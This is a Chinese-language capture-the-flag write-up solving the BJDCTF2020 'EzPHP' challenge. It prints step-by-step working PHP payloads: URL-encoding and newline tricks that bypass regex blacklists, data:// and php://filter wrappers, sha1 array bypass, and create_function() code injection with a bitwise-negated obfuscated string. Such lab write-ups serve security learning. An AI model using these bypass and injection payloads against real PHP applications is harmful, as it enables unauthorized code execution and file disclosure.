[BJDCTF2020]EzPHP

查看源代码

发现

image-20240620204218107

base32解码,得1nD3x.php

访问,得到一长串代码,分开来一个个读(因为很像一关关闯关)

if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

啊,基本上全部ban掉了啊

怎么办…

在这里我们可以将要上传的东西进行url编码,因为$_SERVER[‘QUERY_STRING’]不会解码url

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

之后就是要上传debu,满足debu的值为**/^aqua_is_cute$/,但是不能强等于aqua_is_cute**所以我们可以采用%0a换行符进行绕过,同时url绕过黑名单,所以payload如下

deb%75=aq%75a_is_c%75te%0a//%75=u

之后

if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

$_REQUEST也就是说我们可以传get和post,同时,post优先级高于get,所以可以在个体传入之后用post覆盖

该阶段payload如下:

image-20240620205138007

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

也就是说要能读取到debu_debu_aqua

file=data://text/plain.deb%75_deb%75_aq%75a

所以用data伪协议写进去就好

payload:

image-20240620210212072

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

强比较,可以用数组绕过

sh%61na[]=1&p%61sswd[]=2
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

这里存在**create_function()注入,而create_function()**存在两个参数$args和$code。

所以这里我们保证code传入create_function

之后是arg参数

可以使用get_defined_vars()输出所有变量,payload:

fl%61g[c%6de]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//

所以总payload为:

?deb%75=aq%75a_is_c%75te%0a
&file=data://text/plain,deb%75_deb%75_aq%75a
&sh%61na[]=1&p%61sswd[]=2
&fl%61g[c%6fde]=create_function
&fl%61g[%61rg]=}var_dump(get_defined_vars());//

发现

屏幕截图 2024-06-20 210915

重点在最后一句话

[“ffffffff11111114ggggg”]=> string(89) “Baka, do you think it’s so easy to get my flag? I hid the real flag in rea1fl4g.php 23333”

也就是说,flag在rea1fl4g.php

访问一下

image-20240620211146512

尝试一下伪协议读取源码放在arg中进行读取

因为之前过滤太多了,这里直接取反

php://filter/read=convert.base64-encode/resource=rea1fl4g.php
->
%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F

payload:

fl%61g[%61rg]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

image-20240620211836564

base64解码得flag